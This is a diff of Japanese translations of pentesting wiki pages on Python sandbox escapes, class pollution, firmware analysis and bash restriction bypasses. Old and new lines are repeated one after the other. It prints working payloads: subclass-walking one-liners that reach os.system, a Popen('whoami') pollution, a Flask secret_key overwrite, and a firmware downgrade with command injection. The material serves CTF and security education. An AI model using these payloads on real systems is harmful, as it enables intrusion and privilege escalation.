'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
たくさんありますが、**私たちはコマンドを実行するために一つだけ必要です**
たくさんありますが、**私たちはコマンドを実行するために1つだけ必要です**:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
私たちは、**コマンドを実行する**ために使用できることがわかっている**他のライブラリ**でも同じことができます:
他のライブラリでも同じことができます。これらのライブラリはコマンドを実行するために使用できることがわかっています。
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
さらに、**他のライブラリ**が**コマンドを実行するための関数を呼び出す**ことができると思う場合、可能なライブラリ内の**関数名でフィルタリング**することもできます
さらに、**他のライブラリ**が**コマンドを実行するための関数を呼び出す**ことができると思う場合、可能なライブラリ内の**関数名でフィルタリング**することもできます
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -538,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## ビルトイン、グローバルの再帰的検索...
> [!WARNING]
> これはただの**素晴らしい**ものです。もしあなたが**globals、builtins、open、または何かのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
> これはただの**素晴らしい**ものです。もし**globals、builtins、open、またはその他のオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に探してください。**
```python
import os, sys # Import these to find more gadgets
@ -682,11 +682,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
通常の方法で **属性****ドット** を使ってアクセスできることに注意してください `people_obj.__init__`**辞書要素****括弧** を使って引用符なしで `__globals__[CONFIG]`
通常の方法で **属性****ドット** を使ってアクセスできることに注意してください `people_obj.__init__`**辞書要素****括弧** を使って引用符なしで `__globals__[CONFIG]`
また、`.__dict__` を使用してオブジェクトの要素を列挙できることにも注意してください `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
また、`.__dict__` を使用してオブジェクトの要素を列挙できることにも注意してください `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、および **`ascii`** の **関数** を指定されたオブジェクトで実行する可能性であり、それぞれ **`!s`**、**`!r`**、**`!a`** を追加することで実現できます。
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、および **`ascii`** の **関数** を指定されたオブジェクトで **実行** する可能性であり、それぞれ **`!s`**、**`!r`**、**`!a`** を追加することによって実現されます:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -705,7 +705,7 @@ return 'HAL 9000'
**フォーマット** **文字列**の例についての**さらなる例**は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます。
> [!CAUTION]
> Python内部オブジェクトから**機密情報を読み取る**ガジェットについては、次のページも確認してください:
> 次のページも確認して、**Python内部オブジェクトから機密情報を読み取る**ガジェットを探してください:
{{#ref}}
../python-internal-read-gadgets.md
@ -739,10 +739,10 @@ As reminder, every time an action is performed in python some function is execut
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することはできません、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\
しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Pythonでそのようなガジェットを探すために、書き込みはこの[**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)を提案しています。そこで彼はこの[one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)を見つけました。
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -772,12 +772,12 @@ pydll = LibraryLoader(PyDLL)
## Pythonオブジェクトの解析
> [!NOTE]
> [!TIP]
> **pythonバイトコード**について深く**学びたい**場合は、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。
これ検査する関数です:
これ検査する関数です:
```python
def get_flag(some_input):
var1=1
@ -810,7 +810,7 @@ CustomClassObject.__class__.__init__.__globals__
### **関数コードへのアクセス**
**`__code__`** と `func_code`: この **属性****アクセス** して、関数の **コードオブジェクト****取得** できます。
**`__code__`** と `func_code`: この **属性****アクセス** することで、関数の **コードオブジェクト****取得** できます。
```python
# In our current example
get_flag.__code__
@ -898,7 +898,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意してください、**もしpythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード**`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数が読み込まれている内容(`LOAD_CONST`)は見ることができませんが、`LOAD_CONST`が読み込まれている変数のオフセットも示すため、(`get_flag.func_code.co_consts`)から推測することができます。
注意してください、**もしpythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード**`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数が読み込まれる内容(`LOAD_CONST`)は見ることができませんが、`LOAD_CONST`が読み込まれる変数のオフセットも示すため、(`get_flag.func_code.co_consts`)から推測することができます。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -922,8 +922,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Pythonのコンパイル
さて、何らかの方法で**実行できない関数についての情報をダンプできる**と想像してみましょう。しかし、**実行する必要があります**。\
次の例のように、その関数の**コードオブジェクトにアクセスでき**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_
さて、あなたが**実行できない関数についての情報をダンプできる**と仮定しましょうが、**実行する必要があります**。\
次の例のように、あなたはその関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_
```python
def get_flag(some_input):
var1=1
@ -957,7 +957,7 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!NOTE]
> [!TIP]
> Pythonのバージョンによって、`code_type`の**パラメータ**は**異なる順序**を持つ場合があります。実行中のPythonバージョンでのパラメータの順序を知る最良の方法は、次のコマンドを実行することです
>
> ```
@ -982,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 防御のバイパス
この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含む完全なスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\
この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含むスクリプト全体を** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\
とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。
例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう
@ -1012,7 +1012,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
`eval``exec`にアクセスできない場合は、**適切な関数**を作成できますが、直接呼び出すと通常は次のエラーが発生します: _restricted modeではコンストラクタにアクセスできません_。したがって、この関数を呼び出すためには、**制限された環境にない関数が必要です。**
`eval``exec`にアクセスできない場合は、**適切な関数**を作成できますが、直接呼び出すと通常は次のエラーが発生します: _restricted modeではコンストラクタにアクセスできません_。したがって、この関数を呼び出すためには、**制限された環境にない関数**が必要です。
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1026,6 +1026,7 @@ f(42)
**このチュートリアルをチェックしてください**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
@ -1034,7 +1035,7 @@ f(42)
### アサート
`-O` パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく条件付きコードを削除します。\
`-O` パラメータで最適化されたPythonは、アサートと**debug**の値に基づく条件付きコードを削除します。\
したがって、次のようなチェックが行われます。
```python
def check_permission(super_user):

View File

@ -116,7 +116,7 @@ print(system_admin_emp.execute_command())
<details>
<summary><code>globals</code>を通じて他のクラスやグローバル変数を汚染する</summary>
<summary>他のクラスやグローバル変数を<code>globals</code>を通じて汚染する</summary>
```python
def merge(src, dst):
# Recursive merge function
@ -148,7 +148,7 @@ print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
<details>
<summary>任意のサブプロセス実行</summary>
<summary>任意のサブプロセス実行</summary>
```python
import subprocess, json
@ -180,9 +180,9 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
<details>
<summary>オーバーライティング <strong><code>__kwdefaults__</code></strong></summary>
<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** はすべての関数の特別な属性であり、Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)に基づいて「**キーワード専用**パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御できます。これらは、\*または\*argsの後に来る関数のパラメータです。
**`__kwdefaults__`** はすべての関数の特別な属性であり、Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)に基づいています。これは「**キーワード専用**パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御することができます。これらは、\*または\*argsの後に来る関数のパラメータです。
```python
from os import system
import json
@ -225,23 +225,23 @@ execute() #> Executing echo Polluted
<summary>ファイル間でのFlaskシークレットの上書き</summary>
したがって、ウェブのメインPythonファイルで定義されたオブジェクトに対してクラス汚染を行うことができる場合、**そのクラスがメインファイルとは異なるファイルで定義されている**必要があります。前のペイロードで\_\_globals\_\_にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、**そのファイルのグローバルにアクセスできますが、メインファイルのグローバルにはアクセスできません**。\
したがって、**メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにアクセスできません**。
したがって、ウェブのメインPythonファイルで定義されたオブジェクトに対してクラス汚染を行うことができる場合、**そのクラスがメインファイルとは異なるファイルで定義されている**必要があります。前のペイロードで\_\_globals\_\_にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、**そのファイルのグローバルにアクセスできますが、メインのものにはアクセスできません**。\
したがって、**メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにアクセスできなくなります**。
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
このシナリオでは、ファイルを横断してメインのファイルに到達し、**グローバルオブジェクト `app.secret_key`** にアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)ためのガジェットが必要です。
このシナリオでは、ファイルを横断してメインのファイルに到達し、**グローバルオブジェクト `app.secret_key`** にアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで[**権限を昇格させる**](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign)必要があります。
このようなペイロードは、[この解説から](https://ctftime.org/writeup/36082):
このようなペイロードは、[このレポート](https://ctftime.org/writeup/36082)からのものです:
```python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
```
このペイロードを使用して**`app.secret_key`**(あなたのアプリでは名前が異なる場合があります)を変更し、新しいより多くの権限を持つフラスククッキーに署名できるようにします。
このペイロードを使用して **`app.secret_key`** を変更し(アプリ内の名前は異なる場合があります)、新しいより多くの権限を持つフラスククッキーに署名できるようにします。
</details>
さらに、以下のページも参照して読み取り専用のガジェットを確認してください:
次のページも参照して、読み取り専用のガジェットを確認してください:
{{#ref}}
python-internal-read-gadgets.md

View File

@ -6,19 +6,21 @@
### 関連リソース
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に修正することは、セキュリティの脆弱性を特定するための重要なステップです。
## **情報収集**
**情報収集**は、デバイスの構成や使用されている技術を理解するための重要な初期ステップです。このプロセスには、以下のデータを収集することが含まれます:
- 実行されているCPUアーキテクチャとオペレーティングシステム
- CPUアーキテクチャと実行されているオペレーティングシステム
- ブートローダーの詳細
- ハードウェアレイアウトとデータシート
- ハードウェアレイアウトとデータシート
- コードベースのメトリクスとソースの場所
- 外部ライブラリとライセンスの種類
- 更新履歴と規制認証
@ -32,9 +34,9 @@ synology-encrypted-archive-decryption.md
ファームウェアを取得する方法はいくつかあり、それぞれ異なる複雑さがあります:
- **直接**ソース(開発者、製造業者)から
- 提供された指示から**ビルド**する
- 公式サポートサイトから**ダウンロード**する
- ホストされているファームウェアファイルを見つけるために**Google dork**クエリを利用する
- **提供された指示**から構築する
- **公式サポートサイト**からダウンロードする
- ホストされファームウェアファイルを見つけるために**Google dork**クエリを利用する
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使って**クラウドストレージ**に直接アクセスする
- 中間者攻撃技術を介して**更新**を傍受する
- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
@ -45,7 +47,7 @@ synology-encrypted-archive-decryption.md
## ファームウェアの分析
今や**ファームウェアを持っている**ので、それについての情報を抽出してどのように扱うかを知る必要があります。そのために使用できるさまざまなツールがあります:
ファームウェアを**取得した**ので、それに関する情報を抽出してどのように扱うかを知る必要があります。そのために使用できるさまざまなツールがあります:
```bash
file <bin>
strings -n8 <bin>
@ -54,7 +56,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
もしこれらのツールであまり見つからない場合は、`binwalk -E <bin>`を使って画像の**エントロピー**を確認してください。エントロピーが低い場合、暗号化されている可能性は低いです。エントロピーが高い場合、暗号化されている(または何らかの方法で圧縮されている)可能性があります。
画像の**エントロピー**を`binwalk -E <bin>`で確認し、エントロピーが低ければ暗号化されていない可能性が高いです。エントロピーが高ければ、暗号化されている(または何らかの方法で圧縮されている)可能性があります。
さらに、これらのツールを使用して**ファームウェア内に埋め込まれたファイル**を抽出できます:
@ -66,12 +68,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
### ファイルシステムの取得
前述のツール`binwalk -ev <bin>`など)を使用して**ファイルシステムを抽出**できたはずです。\
前述のツール`binwalk -ev <bin>`を使用して**ファイルシステムを抽出**できたはずです。\
Binwalkは通常、**ファイルシステムのタイプに名前を付けたフォルダー**内に抽出します。通常、以下のいずれかですsquashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
#### 手動ファイルシステム抽出
場合によっては、binwalkが**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従って**ファイルシステムを手動で抽出します。
場合によっては、binwalkが**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。このような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し**、以下の手順に従ってそのタイプに応じて**手動でファイルシステムを抽出**します。
```
$ binwalk DIR850L_REVB.bin
@ -123,7 +125,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### 初期分析ツール
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細を理解するのに役立ちます。
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細の理解に役立ちます:
```bash
file <bin>
strings -n8 <bin>
@ -138,7 +140,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
### ファイルシステムの抽出
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプsquashfs、ubifsにちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプsquashfs、ubifsにちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出します
```bash
$ binwalk DIR850L_REVB.bin
@ -148,11 +150,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### ファイルシステム分析
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた資格情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
ファイルシステムが抽出されると、セキュリティの欠陥を探す作業が始まります。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた認証情報、APIエンドポイント、更新サーバーの機能、未コンパイルのコード、スタートアップスクリプト、オフライン分析用のコンパイル済みバイナリです。
**確認すべき主要な場所**と**項目**には以下が含まれます:
**検査すべき主要な場所**と**項目**には以下が含まれます:
- **etc/shadow****etc/passwd** のユーザー資格情報
- **etc/shadow****etc/passwd** のユーザー認証情報
- **etc/ssl** のSSL証明書とキー
- 潜在的な脆弱性のための設定ファイルとスクリプトファイル
- さらなる分析のための埋め込まれたバイナリ
@ -170,11 +172,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## 動的分析のためのファームウェアのエミュレーション
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストを促進できます。
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストが容易になります。
### 個々のバイナリのエミュレーション
単一のプログラムを調査するためには、プログラムのエンディアンとCPUアーキテクチャを特定することが重要です。
単一のプログラムを調るためには、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
#### MIPSアーキテクチャの例
@ -198,7 +200,7 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
## 実践における動的分析
この段階では、実際のデバイス環境またはエミュレートされた環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションの再起動が必要です。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
この段階では、実際のデバイス環境またはエミュレートされたデバイス環境が分析に使用されます。OSおよびファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドア脆弱性を特定するために重要です。
## 実行時分析技術
@ -206,11 +208,11 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
## バイナリの悪用と概念実証
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミングROPなどの技術が必要になることがあります。
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャと低レベル言語でのプログラミングに関する深い理解が必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターン指向プログラミングROPなどの技術が必要になることがあります。
## ファームウェア分析のための準備されたオペレーティングシステム
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) などのオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
[AttifyOS](https://github.com/adi0x90/attifyos) や [EmbedOS](https://github.com/scriptingxss/EmbedOS) のようなオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
## ファームウェアを分析するための準備されたOS
@ -219,17 +221,17 @@ ARMバイナリの場合、プロセスは似ており、エミュレーショ
## ファームウェアダウングレード攻撃と安全でない更新メカニズム
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック(ダウングレード)保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を確認するだけで、フラッシュされるイメージの*バージョン*(または単調カウンター)を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**でき、修正された脆弱性を再導入することができます。
ベンダーがファームウェアイメージの暗号署名チェックを実装しても、**バージョンロールバック(ダウングレード)保護はしばしば省略されます**。ブートローダーまたはリカバリーローダーが埋め込まれた公開鍵で署名を検証するだけで、フラッシュされるイメージの*バージョン*(または単調カウンター)を比較しない場合、攻撃者は**有効な署名を持つ古い脆弱なファームウェアを正当にインストール**でき、修正された脆弱性を再導入することができます。
典型的な攻撃ワークフロー:
1. **古い署名済みイメージを取得**
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
* 付属のモバイル/デスクトップアプリケーションから抽出しますAndroid APKの `assets/firmware/` 内)。
* VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
* ベンダーの公開ダウンロードポータル、CDN、またはサポートサイトから取得します。
* 付属のモバイル/デスクトップアプリケーションから抽出しますAndroid APKの `assets/firmware/` 内)。
* VirusTotal、インターネットアーカイブ、フォーラムなどのサードパーティリポジトリから取得します。
2. **イメージをデバイスにアップロードまたは提供** します:
* Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない*HTTP(S)エンドポイントを公開しており、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
* Web UI、モバイルアプリAPI、USB、TFTP、MQTTなど。
* 多くの消費者向けIoTデバイスは、Base64エンコードされたファームウェアブロブを受け入れる*認証されていない* HTTP(S) エンドポイントを公開し、サーバー側でデコードし、リカバリ/アップグレードをトリガーします。
3. ダウングレード後、最新のリリースで修正された脆弱性を悪用します(例えば、後で追加されたコマンドインジェクションフィルターなど)。
4. オプションで、最新のイメージを再フラッシュするか、持続性を得た後に検出を避けるために更新を無効にします。
@ -240,11 +242,11 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
脆弱な(ダウングレードされた)ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしていますここでは、SSHキーによるルートアクセスの有効化。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護がないため、修正は無意味です。
脆弱な(ダウングレードされた)ファームウェアでは、`md5`パラメータがサニタイズされることなくシェルコマンドに直接連結されており、任意のコマンドの注入を可能にしていますここでは、SSHキーによるルートアクセスの有効化。後のファームウェアバージョンでは基本的な文字フィルタが導入されましたが、ダウングレード保護が欠如しているため、修正は無意味です。
### モバイルアプリからのファームウェアの抽出
多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリ内にバンドルしています。これらのパッケージは、一般的に`assets/fw/``res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool``ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
多くのベンダーは、アプリがBluetooth/Wi-Fi経由でデバイスを更新できるように、完全なファームウェアイメージをそのコンパニオンモバイルアプリケーション内にバンドルしています。これらのパッケージは、一般的に`assets/fw/``res/raw/`のようなパスの下に暗号化されずに保存されています。`apktool``ghidra`、または単純な`unzip`などのツールを使用すると、物理ハードウェアに触れることなく署名されたイメージを抽出できます。
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
@ -255,7 +257,7 @@ firmware_v1.3.11.490_signed.bin
* *アップデートエンドポイント*の輸送/認証は適切に保護されていますかTLS + 認証)?
* デバイスはフラッシングの前に**バージョン番号**または**単調なアンチロールバックカウンター**を比較しますか?
* 画像はセキュアブートチェーン内で検証されていますかROMコードによる署名の確認
* ユーザーランドコードは追加の整合性チェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
* ユーザーランドコードは追加のサニティチェックを行いますか(例:許可されたパーティションマップ、モデル番号)?
* *部分的*または*バックアップ*のアップデートフローは同じ検証ロジックを再利用していますか?
> 💡 上記のいずれかが欠けている場合、プラットフォームはロールバック攻撃に対して脆弱である可能性があります。

View File

@ -144,7 +144,7 @@ echo ${PATH:0:1} #/
### ビルトイン
外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないので、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
外部関数を実行できず、**RCEを取得するための限られたビルトインのセット**にしかアクセスできない場合、いくつかの便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\
まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** それから、いくつかの**推奨事項**があります:
```bash
# Get list of builtins
@ -296,13 +296,13 @@ ln /f*
```
## 読み取り専用/Noexec/Distroless バイパス
**読み取り専用および noexec 保護**があるファイルシステム内や、distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法、さらにはシェルを実行する方法があります!:**
**読み取り専用および noexec 保護** のあるファイルシステム内、または distroless コンテナ内にいる場合でも、**任意のバイナリを実行する方法があります。シェルさえも!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & その他のジェイル バイパス
## Chroot およびその他のジェイル バイパス
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
## スペースベースの Bash NOP スレッド ("Bashsledding")
